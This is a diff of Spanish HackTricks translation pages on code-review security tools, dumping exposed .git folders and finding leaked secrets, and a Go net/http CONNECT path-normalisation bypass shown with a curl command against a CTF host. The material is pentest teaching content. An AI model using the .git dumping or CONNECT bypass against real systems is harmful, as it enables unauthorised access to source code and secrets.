También puedes usar la [**extensión de VSCode de semgrep**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep) para obtener los hallazgos dentro de VSCode.
También puedes usar la [**semgrep VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=Semgrep.semgrep) para obtener los hallazgos dentro de VSCode.
### [**SonarQube**](https://www.sonarsource.com/products/sonarqube/downloads/)
Hay una **versión gratuita** instalable.
#### Inicio rápido
#### Inicio Rápido
{% code overflow="wrap" %}
```bash
@ -80,9 +81,9 @@ sonar-scanner \
### CodeQL
Existe una **versión gratuita instalable**, pero según la licencia solo puedes **utilizar la versión gratuita de CodeQL en proyectos de código abierto**.
Hay una **versión gratuita instalable** pero según la licencia, **solo puedes usar la versión gratuita de codeQL en proyectos de código abierto**.
#### Instalación
#### Instalar
{% code overflow="wrap" %}
```bash
@ -108,10 +109,10 @@ codeql resolve qlpacks #Get paths to QL packs
```
{% endcode %}
#### Inicio rápido - Preparar la base de datos
#### Inicio Rápido - Preparar la base de datos
{% hint style="success" %}
Lo primero que debes hacer es **preparar la base de datos** (crear el árbol de código) para que luego las consultas se ejecuten sobre ella.
Lo primero que necesitas hacer es **preparar la base de datos** (crear el árbol de código) para que luego las consultas se ejecuten sobre ella.
{% endhint %}
* Puedes permitir que codeql identifique automáticamente el lenguaje del repositorio y cree la base de datos
@ -127,10 +128,10 @@ codeql database create /path/repo/codeql_db --source-root /path/repo
{% endcode %}
{% hint style="danger" %}
Esto **suele desencadenar un error** que indica que se especificaron más de un idioma (o se detectaron automáticamente). ¡**Verifica las siguientes opciones** para solucionar esto!
Esto **generalmente desencadenará un error** diciendo que se especificaron (o se detectaron automáticamente) más de un idioma. **¡Verifica las siguientes opciones** para solucionar esto!
{% endhint %}
* Puedes hacer esto **indicando manualmente** el **repositorio** y el **idioma** ([lista de idiomas](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create))
* Puedes hacer esto **manualmente indicando** el **repo** y el **idioma** ([lista de idiomas](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis#running-codeql-database-create))
{% code overflow="wrap" %}
```bash
@ -142,7 +143,7 @@ codeql database create /path/repo/codeql_db --language javascript --source-root
```
{% endcode %}
* Si tu repositorio está utilizando **más de 1 lenguaje**, también puedes crear **1 base de datos por lenguaje** indicando cada idioma.
* Si tu repositorio está utilizando **más de 1 idioma**, también puedes crear **1 base de datos por idioma** indicando cada idioma.
{% code overflow="wrap" %}
```bash
@ -156,7 +157,7 @@ codeql database create /path/repo/codeql_db --source-root /path/to/repo --db-clu
```
{% endcode %}
* También puedes permitir que `codeql` **identifique todos los lenguajes** por ti y cree una base de datos por lenguaje. Necesitas proporcionarle un **GITHUB\_TOKEN**.
* También puedes permitir que `codeql` **identifique todos los lenguajes** por ti y cree una base de datos por lenguaje. Necesitas darle un **GITHUB\_TOKEN**.
{% code overflow="wrap" %}
```bash
@ -170,13 +171,13 @@ codeql database create /tmp/codeql_db --db-cluster --source-root /path/repo
```
{% endcode %}
#### Inicio rápido - Analizar el código
#### Inicio Rápido - Analizar el código
{% hint style="success" %}
Ahora es finalmente el momento de analizar el código
{% endhint %}
Recuerda que si utilizaste varios lenguajes, **se habría creado una BD por lenguaje** en la ruta que especificaste.
Recuerda que si usaste varios lenguajes, **se habría creado una base de datos por lenguaje** en la ruta que especificaste.
{% code overflow="wrap" %}
```bash
@ -198,7 +199,7 @@ javascript-security-extended --sarif-category=javascript \
```
{% endcode %}
#### Inicio rápido - Scripted
#### Inicio Rápido - Scripted
{% code overflow="wrap" %}
```bash
@ -223,13 +224,13 @@ echo $FINAL_MSG
Puedes visualizar los hallazgos en [**https://microsoft.github.io/sarif-web-component/**](https://microsoft.github.io/sarif-web-component/) o utilizando la extensión de VSCode [**SARIF viewer**](https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer).
También puedes utilizar la [**extensión de VSCode**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) para obtener los hallazgos dentro de VSCode. Aún necesitarás crear una base de datos manualmente, pero luego puedes seleccionar cualquier archivo y hacer clic en `Click Derecho` -> `CodeQL: Run Queries in Selected Files`
También puedes usar la [**extensión de VSCode**](https://marketplace.visualstudio.com/items?itemName=GitHub.vscode-codeql) para obtener los hallazgos dentro de VSCode. Aún necesitarás crear una base de datos manualmente, pero luego puedes seleccionar cualquier archivo y hacer clic en `Right Click` -> `CodeQL: Run Queries in Selected Files`
### [**Snyk**](https://snyk.io/product/snyk-code/)
Hay una **versión gratuita instalable**.
#### Inicio Rápido
#### Quick Start
```bash
# Install
sudo npm install -g snyk
@ -250,17 +251,17 @@ snyk container test [image]
# Test for IaC vulns
snyk iac test
```
También puedes usar la [**extensión de Snyk para VSCode**](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner) para obtener resultados dentro de VSCode.
También puedes usar la [**snyk VSCode Extension**](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner) para obtener hallazgos dentro de VSCode.
### [Insider](https://github.com/insidersec/insider)
Es **de código abierto**, pero parece **no estar mantenido**.
Es **Open Source**, pero parece **no mantenido**.
#### Idiomas compatibles
#### Lenguajes Soportados
Java (Maven y Android), Kotlin (Android), Swift (iOS), .NET Full Framework, C# y Javascript (Node.js).
#### Inicio rápido
#### Inicio Rápido
```bash
# Check the correct release for your environment
$ wget https://github.com/insidersec/insider/releases/download/2.1.0/insider_2.1.0_linux_x86_64.tar.gz
@ -291,7 +292,7 @@ npm install -g pnpm
cd /path/to/repo
pnpm audit
```
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)**:** Escáner estático de código de seguridad (SAST) para aplicaciones Node.js impulsado por [libsast](https://github.com/ajinabraham/libsast) y [semgrep](https://github.com/returntocorp/semgrep).
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)**:** Escáner de código de seguridad estático (SAST) para aplicaciones Node.js impulsado por [libsast](https://github.com/ajinabraham/libsast) y [semgrep](https://github.com/returntocorp/semgrep).
```bash
# Install & run
docker run -it -p 9090:9090 opensecurity/nodejsscan:latest
@ -308,11 +309,11 @@ retire --colors
```
## Electron
* [**electronegativity**](https://github.com/doyensec/electronegativity)**:** Es una herramienta para identificar configuraciones incorrectas y patrones de seguridad en aplicaciones basadas en Electron.
* [**electronegativity**](https://github.com/doyensec/electronegativity)**:** Es una herramienta para identificar configuraciones incorrectas y anti-patrones de seguridad en aplicaciones basadas en Electron.
## Python
* [**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit es una herramienta diseñada para encontrar problemas de seguridad comunes en código Python. Para hacer esto, Bandit procesa cada archivo, construye un AST a partir de él y ejecuta complementos apropiados contra los nodos AST. Una vez que Bandit ha terminado de escanear todos los archivos, genera un informe.
* [**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit es una herramienta diseñada para encontrar problemas de seguridad comunes en el código Python. Para hacer esto, Bandit procesa cada archivo, construye un AST a partir de él y ejecuta los plugins apropiados contra los nodos del AST. Una vez que Bandit ha terminado de escanear todos los archivos, genera un informe.
```bash
# Install
pip3 install bandit
@ -320,7 +321,7 @@ pip3 install bandit
# Run
bandit -r <path to folder>
```
* [**safety**](https://github.com/pyupio/safety): Safety verifica las dependencias de Python en busca de vulnerabilidades de seguridad conocidas y sugiere las correcciones adecuadas para las vulnerabilidades detectadas. Safety se puede ejecutar en máquinas de desarrolladores, en tuberías CI/CD y en sistemas de producción.
* [**safety**](https://github.com/pyupio/safety): Safety verifica las dependencias de Python en busca de vulnerabilidades de seguridad conocidas y sugiere las remediaciones adecuadas para las vulnerabilidades detectadas. Safety se puede ejecutar en máquinas de desarrolladores, en pipelines de CI/CD y en sistemas de producción.
```bash
# Install
pip install safety
@ -349,18 +350,6 @@ cargo audit
cargo audit fetch
```
## Java
### FindBugs
FindBugs es una herramienta de análisis estático de código para encontrar posibles errores en el código Java.
### PMD
PMD es otra herramienta de análisis estático de código que busca posibles problemas en el código Java, como código muerto, variables no utilizadas y más.
### Checkstyle
Checkstyle es una herramienta que ayuda a garantizar que el código Java cumpla con un conjunto de convenciones de codificación predefinidas.
```bash
# JD-Gui
https://github.com/java-decompiler/jd-gui
@ -371,19 +360,19 @@ mkdir META-INF
echo "Main-Class: test" > META-INF/MANIFEST.MF
jar cmvf META-INF/MANIFEST.MF test.jar test.class
```
| Tarea | Comando |
| --------------- | --------------------------------------------------------- |
| Ejecutar Jar | java -jar \[jar] |
| Descomprimir Jar| unzip -d \[directorio de salida] \[jar] |
| Crear Jar | jar -cmf META-INF/MANIFEST.MF \[jar de salida] \* |
| Tarea | Comando |
| --------------- | -------------------------------------------------------- |
| Ejecutar Jar | java -jar \[jar] |
| Descomprimir Jar | unzip -d \[directorio de salida] \[jar] |
| Crear Jar | jar -cmf META-INF/MANIFEST.MF \[jar de salida] \* |
| Base64 SHA256 | sha256sum \[archivo] \| cut -d' ' -f1 \| xxd -r -p \| base64 |
| Eliminar Firma | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA |
| Eliminar del Jar| zip -d \[jar] \[archivo a eliminar] |
| Descompilar clase| procyon -o . \[ruta de la clase] |
| Descompilar Jar | procyon -jar \[jar] -o \[directorio de salida] |
| Compilar clase | javac \[ruta al archivo .java] |
| Eliminar Firma | rm META-INF/_.SF META-INF/_.RSA META-INF/\*.DSA |
| Eliminar de Jar | zip -d \[jar] \[archivo a eliminar] |
| Descompilar clase| procyon -o . \[ruta a la clase] |
| Descompilar Jar | procyon -jar \[jar] -o \[directorio de salida] |
| Compilar clase | javac \[ruta al archivo .java] |
## Go
## Ir
```bash
https://github.com/securego/gosec
```
@ -405,18 +394,18 @@ https://github.com/securego/gosec
1. Burp:
* Spider y descubrir contenido
* Sitemap > filtro
* Sitemap > filtrar
* Sitemap > clic derecho en el dominio > Herramientas de compromiso > Encontrar scripts
2. [WaybackURLs](https://github.com/tomnomnom/waybackurls):
* `waybackurls <dominio> |grep -i "\.js" |sort -u`
* `waybackurls <domain> |grep -i "\.js" |sort -u`
### Análisis Estático
#### Desminimizar/Embellecer/Embellecer
#### Desminimizar/Embellecer/Prettify
* [https://prettier.io/playground/](https://prettier.io/playground/)
* [https://beautifier.io/](https://beautifier.io/)
* Consulte algunas de las herramientas mencionadas en 'Desofuscar/Desempaquetar' a continuación también.
* Ver algunas de las herramientas mencionadas en 'Desofuscar/Desempaquetar' a continuación también.
#### Desofuscar/Desempaquetar
@ -424,40 +413,40 @@ https://github.com/securego/gosec
1. Encontrar y usar archivos .map:
* Si los archivos .map están expuestos, se pueden usar para desofuscar fácilmente.
* Comúnmente, foo.js.map mapea a foo.js. Búscalos manualmente.
* Comúnmente, foo.js.map se mapea a foo.js. Búscalos manualmente.
* Usa [JS Miner](https://github.com/PortSwigger/js-miner) para buscarlos.
* Asegúrate de realizar un escaneo activo.
* Asegúrate de que se realice un escaneo activo.
* Lee '[Consejos/Notas](https://github.com/minamo7sen/burp-JS-Miner/wiki#tips--notes)'
* Si se encuentran, usa [Maximize](https://www.npmjs.com/package/maximize) para desofuscar.
2. Sin archivos .map, prueba JSnice:
* Referencias: [http://jsnice.org/](http://jsnice.org/) y [https://www.npmjs.com/package/jsnice](https://www.npmjs.com/package/jsnice)
* Referencias: [http://jsnice.org/](http://jsnice.org/) & [https://www.npmjs.com/package/jsnice](https://www.npmjs.com/package/jsnice)
* Consejos:
* Si usas jsnice.org, haz clic en el botón de opciones junto al botón "Nicify JavaScript" y deselecciona "Infer types" para reducir el desorden en el código con comentarios.
* Si usas jsnice.org, haz clic en el botón de opciones junto al botón "Nicify JavaScript", y deselecciona "Infer types" para reducir el desorden en el código con comentarios.
* Asegúrate de no dejar líneas vacías antes del script, ya que puede afectar el proceso de desofuscación y dar resultados inexactos.
4. Para algunas alternativas más modernas a JSNice, es posible que desees consultar lo siguiente:
4. Para algunas alternativas más modernas a JSNice, podrías mirar lo siguiente:
* [https://github.com/pionxzh/wakaru](https://github.com/pionxzh/wakaru)
* > Descompilador, desempaquetador y kit de desminificación de JavaScript
> Wakaru es el descompilador de JavaScript para frontend moderno. Devuelve el código original de una fuente empaquetada y transpilada.
* > Kit de herramientas de descompilación, desempaquetado y desminimización de Javascript
> Wakaru es el descompilador de Javascript para frontend moderno. Recupera el código original de una fuente empaquetada y transpileada.
* [https://github.com/j4k0xb/webcrack](https://github.com/j4k0xb/webcrack)
* > Desofuscar obfuscator.io, desminificar y desempaquetar JavaScript empaquetado
* > Desofuscar obfuscator.io, desminimizar y desempaquetar javascript empaquetado
* [https://github.com/jehna/humanify](https://github.com/jehna/humanify)
* > Desminificar código JavaScript utilizando ChatGPT
> Esta herramienta utiliza modelos de lenguaje grandes (como ChatGPT y llama2) y otras herramientas para desminificar código JavaScript. Ten en cuenta que los LLM no realizan cambios estructurales, solo proporcionan pistas para renombrar variables y funciones. El trabajo pesado lo realiza Babel a nivel de AST para garantizar que el código se mantenga equivalente 1 a 1.
* > Desminimizar código Javascript usando ChatGPT
> Esta herramienta utiliza modelos de lenguaje grandes (como ChatGPT y llama2) y otras herramientas para desminimizar código Javascript. Ten en cuenta que los LLM no realizan cambios estructurales; solo proporcionan pistas para renombrar variables y funciones. El trabajo pesado lo realiza Babel a nivel de AST para asegurar que el código se mantenga equivalente 1-1.
* [https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html](https://thejunkland.com/blog/using-llms-to-reverse-javascript-minification.html)
* > Usar LLM para revertir la minificación de nombres de variables de JavaScript
* > Usando LLMs para revertir la minificación de nombres de variables de JavaScript
3. Usa `console.log()`;
* Encuentra el valor de retorno al final y cámbialo a `console.log(<variableDeRetornoDelEmpaquetador>);` para que se imprima el JavaScript desofuscado en lugar de ejecutarse.
* Luego, pega el JavaScript modificado (y aún ofuscado) en [https://jsconsole.com/](https://jsconsole.com/) para ver el JavaScript desofuscado registrado en la consola.
* Finalmente, pega la salida desofuscada en [https://prettier.io/playground/](https://prettier.io/playground/) para embellecerlo para el análisis.
* **Nota**: Si sigues viendo JavaScript empaquetado (pero diferente), puede estar empaquetado de forma recursiva. Repite el proceso.
* Encuentra el valor de retorno al final y cámbialo a `console.log(<packerReturnVariable>);` para que el js desofuscado se imprima en lugar de ejecutarse.
* Luego, pega el js modificado (y aún ofuscado) en [https://jsconsole.com/](https://jsconsole.com/) para ver el js desofuscado registrado en la consola.
* Finalmente, pega la salida desofuscada en [https://prettier.io/playground/](https://prettier.io/playground/) para embellecerla para análisis.
* **Nota**: Si aún ves js empaquetado (pero diferente), puede estar empaquetado recursivamente. Repite el proceso.
#### Referencias
* [YouTube: DAST - Análisis Dinámico de JavaScript](https://www.youtube.com/watch?v=_v8r_t4v6hQ)
* [YouTube: DAST - Análisis Dinámico de Javascript](https://www.youtube.com/watch?v=_v8r_t4v6hQ)
* [https://blog.nvisium.com/angular-for-pentesters-part-1](https://web.archive.org/web/20221226054137/https://blog.nvisium.com/angular-for-pentesters-part-1)
* [https://blog.nvisium.com/angular-for-pentesters-part-2](https://web.archive.org/web/20230204012439/https://blog.nvisium.com/angular-for-pentesters-part-2)
* [devalias](https://twitter.com/_devalias)'s [GitHub Gists](https://gist.github.com/0xdevalias):
* [Desofuscar/Desminificar Código de Aplicaciones Web Obfuscadas](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code)
* [Desofuscando / Desminimizando Código de Aplicaciones Web Ofuscadas](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code)
* [Ingeniería Inversa de Aplicaciones Webpack](https://gist.github.com/0xdevalias/8c621c5d09d780b1d321bfdb86d67cdd#reverse-engineering-webpack-apps)
* [etc](https://gist.github.com/search?q=user:0xdevalias+javascript)
@ -465,9 +454,24 @@ https://github.com/securego/gosec
* [https://portswigger.net/burp/documentation/desktop/tools/dom-invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader)
#### Referencias Menos Utilizadas
#### Referencias Menos Usadas
* [https://cyberchef.org/](https://cyberchef.org/)
* [https://olajs.com/javascript-prettifier](https://olajs.com/javascript-prettifier)
* [https://jshint.com/](https://jshint.com/)
* [https://github.com/jshint/jshint/](https://github.com/jshint/jshint/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,47 +1,49 @@
# Git
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los repos de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
**Para volcar una carpeta .git desde una URL, utiliza** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper)
**Para volcar una carpeta .git desde una URL usa** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper)
**Utiliza** [**https://www.gitkraken.com/**](https://www.gitkraken.com/) **para inspeccionar el contenido**
**Usa** [**https://www.gitkraken.com/**](https://www.gitkraken.com/) **para inspeccionar el contenido**
Si se encuentra un directorio _.git_ en una aplicación web, puedes descargar todo el contenido usando _wget -r http://web.com/.git._ Luego, puedes ver los cambios realizados usando _git diff_.
Las herramientas: [Git-Money](https://github.com/dnoiz1/git-money), [DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage) y [GitTools](https://github.com/internetwache/GitTools) se pueden utilizar para recuperar el contenido de un directorio git.
Las herramientas: [Git-Money](https://github.com/dnoiz1/git-money), [DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage) y [GitTools](https://github.com/internetwache/GitTools) se pueden usar para recuperar el contenido de un directorio git.
La herramienta [https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder) se puede utilizar para buscar CVEs y mensajes de vulnerabilidades de seguridad dentro de los mensajes de confirmación.
La herramienta [https://github.com/cve-search/git-vuln-finder](https://github.com/cve-search/git-vuln-finder) se puede usar para buscar CVEs y mensajes de vulnerabilidad de seguridad dentro de los mensajes de commits.
La herramienta [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob) busca datos sensibles en los repositorios de una organización y sus empleados.
[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner) es una herramienta basada en línea de comandos que fue escrita con un único objetivo: ayudarte a descubrir secretos de GitHub que los desarrolladores hicieron accidentalmente al publicar datos sensibles. Y al igual que las demás, te ayudará a encontrar contraseñas, claves privadas, nombres de usuario, tokens y más.
[Repo security scanner](https://github.com/UKHomeOffice/repo-security-scanner) es una herramienta basada en línea de comandos que fue escrita con un único objetivo: ayudarte a descubrir secretos de GitHub que los desarrolladores hicieron accidentalmente al subir datos sensibles. Y como las demás, te ayudará a encontrar contraseñas, claves privadas, nombres de usuario, tokens y más.
[TruffleHog](https://github.com/dxa4481/truffleHog) busca en los repositorios de GitHub y analiza el historial de confirmaciones y ramas, en busca de secretos comprometidos accidentalmente.
[TruffleHog](https://github.com/dxa4481/truffleHog) busca a través de repositorios de GitHub y profundiza en el historial de commits y ramas, buscando secretos comprometidos accidentalmente.
Aquí puedes encontrar un estudio sobre dorks de GitHub: [https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks)
Aquí puedes encontrar un estudio sobre github dorks: [https://securitytrails.com/blog/github-dorks](https://securitytrails.com/blog/github-dorks)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los repos de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,29 +1,30 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Método CONNECT
En el lenguaje de programación Go, una práctica común al manejar solicitudes HTTP, específicamente utilizando la biblioteca `net/http`, es la conversión automática de la ruta de la solicitud a un formato estandarizado. Este proceso implica:
En el lenguaje de programación Go, una práctica común al manejar solicitudes HTTP, específicamente utilizando la biblioteca `net/http`, es la conversión automática de la ruta de la solicitud en un formato estandarizado. Este proceso implica:
- Las rutas que terminan con una barra inclinada (`/`) como `/flag/` son redirigidas a su contraparte sin barra, `/flag`.
- Las rutas que contienen secuencias de travesía de directorios como `/../flag` son simplificadas y redirigidas a `/flag`.
- Las rutas con un punto al final como en `/flag/.` también son redirigidas a la ruta limpia `/flag`.
- Las rutas que terminan con una barra (`/`) como `/flag/` son redirigidas a su contraparte sin barra, `/flag`.
- Las rutas que contienen secuencias de recorrido de directorios como `/../flag` son simplificadas y redirigidas a `/flag`.
- Las rutas con un punto final como en `/flag/.` también son redirigidas a la ruta limpia `/flag`.
Sin embargo, se observa una excepción con el uso del método `CONNECT`. A diferencia de otros métodos HTTP, `CONNECT` no activa el proceso de normalización de la ruta. Este comportamiento abre una posible vía para acceder a recursos protegidos. Al emplear el método `CONNECT` junto con la opción `--path-as-is` en `curl`, se puede evitar la normalización estándar de la ruta y potencialmente llegar a áreas restringidas.
Sin embargo, se observa una excepción con el uso del método `CONNECT`. A diferencia de otros métodos HTTP, `CONNECT` no activa el proceso de normalización de la ruta. Este comportamiento abre una posible vía para acceder a recursos protegidos. Al emplear el método `CONNECT` junto con la opción `--path-as-is` en `curl`, se puede eludir la normalización estándar de la ruta y potencialmente alcanzar áreas restringidas.
El siguiente comando muestra cómo explotar este comportamiento:
El siguiente comando demuestra cómo explotar este comportamiento:
```bash
curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag
```
@ -31,16 +32,17 @@ curl --path-as-is -X CONNECT http://gofs.web.jctf.pro/../flag
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
